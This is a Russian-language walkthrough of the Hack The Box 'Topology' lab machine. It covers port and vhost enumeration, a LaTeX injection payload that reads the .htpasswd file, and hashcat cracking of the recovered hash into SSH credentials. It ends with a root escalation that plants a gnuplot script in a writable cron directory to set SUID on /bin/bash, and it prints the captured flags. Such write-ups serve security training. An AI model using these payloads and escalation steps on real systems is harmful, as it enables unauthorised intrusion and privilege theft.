Обзор сервисов

IP-адрес машины 10.10.11.217. Посмотрим на nmap:

$ nmap -sT -sC -Pn -p1-65535 -oN 10.10.11.217 10.10.11.217
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-16 10:11 EDT
Nmap scan report for 10.10.11.217
Host is up (0.050s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
|   256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_  256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open  http
|_http-title: Miskatonic University | Topology Group

Nmap done: 1 IP address (1 host up) scanned in 41.90 seconds

Стандартные порты для HTB.

Вебка

Веб-страница университета с описанием проектов и других контактов. Есть ссылка на Latex генератор.

Alt text

Ссылка ведет на latex.topology.htb, проверим другие домены:

$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://topology.htb --append-domain -t 20
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://topology.htb
[+] Method:          GET
[+] Threads:         20
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/07/16 10:34:24 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.topology.htb Status: 401 [Size: 463]
Found: stats.topology.htb Status: 200 [Size: 108]
Progress: 4989 / 4990 (99.98%)
===============================================================
2023/07/16 10:40:17 Finished
===============================================================

Добавим все домены в /etc/hosts:

$ nano /etc/hosts
10.10.11.217 topology.htb latex.topology.htb dev.topology.htb stats.topology.htb

Генератор Latex (latex.topology.htb):

Alt text

dev.topology.htb закрыт с помощью Basic Auth аутентификации (в корне директории есть файл .htpasswd):

Alt text

С помощью генератора Latex можно провести атаку Latex Injection и получить файл /var/www/dev/.htpasswd:

$\lstinputlisting{/var/www/dev/.htpasswd}$

Alt text

С помощью hashid узнаем тип хеша:

$ hashid 
$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTYO
Analyzing '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTYO'
[+] MD5(APR) 
[+] Apache MD5

Поместим хеш в файл hash и запустим hashcat:

$ hashcat -m 1600 -a 0 hash /usr/share/wordlists/rockyou.txt.gz
...
$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0:calculus20
...

=> vdaisley:calculus20

SSH

Подключимся по SSH.

$ ssh [email protected]
calculus20

Пользовательский флаг

vdaisley@topology:~$ ls
user.txt
vdaisley@topology:~$ cat user.txt 
eea79236c7c286230a8ae80ca86ccb43

Alt text

Повышение привилегий

Посмотрим выполняющиеся процессы с помощью pspy:

$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
$ scp pspy64 [email protected]:/tmp/pspy64
...
$ chmod +x /tmp/pspy64
$ /tmp/pspy64

Выполняется gnuplot от рута для всех файлов/opt/gnuplot/*.plt:

2023/07/16 11:14:01 CMD: UID=0     PID=1565   | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/07/16 11:14:01 CMD: UID=0     PID=1577   | /bin/sh /opt/gnuplot/getdata.sh 
2023/07/16 11:14:01 CMD: UID=0     PID=1578   | /bin/sh /opt/gnuplot/getdata.sh 
2023/07/16 11:14:01 CMD: UID=0     PID=1579   | gnuplot /opt/gnuplot/networkplot.plt

И мы можем писать в эту директорию!

$ ls -la /opt
total 12
drwxr-xr-x  3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx  2 root root 4096 Jun 14 07:45 gnuplot
$ echo "system 'chmod u+s /bin/bash'" > /opt/gnuplot/exploit.plt
# ждем несколько минут
$ /bin/bash -p
bash-5.0# id
uid=1007(vdaisley) gid=1007(vdaisley) euid=0(root) groups=1007(vdaisley)

Флаг суперпользователя

bash-5.0# ls
root.txt
bash-5.0# cat root.txt 
0fa3bcff36bb9e8583e322ea1aaae3f2

Alt text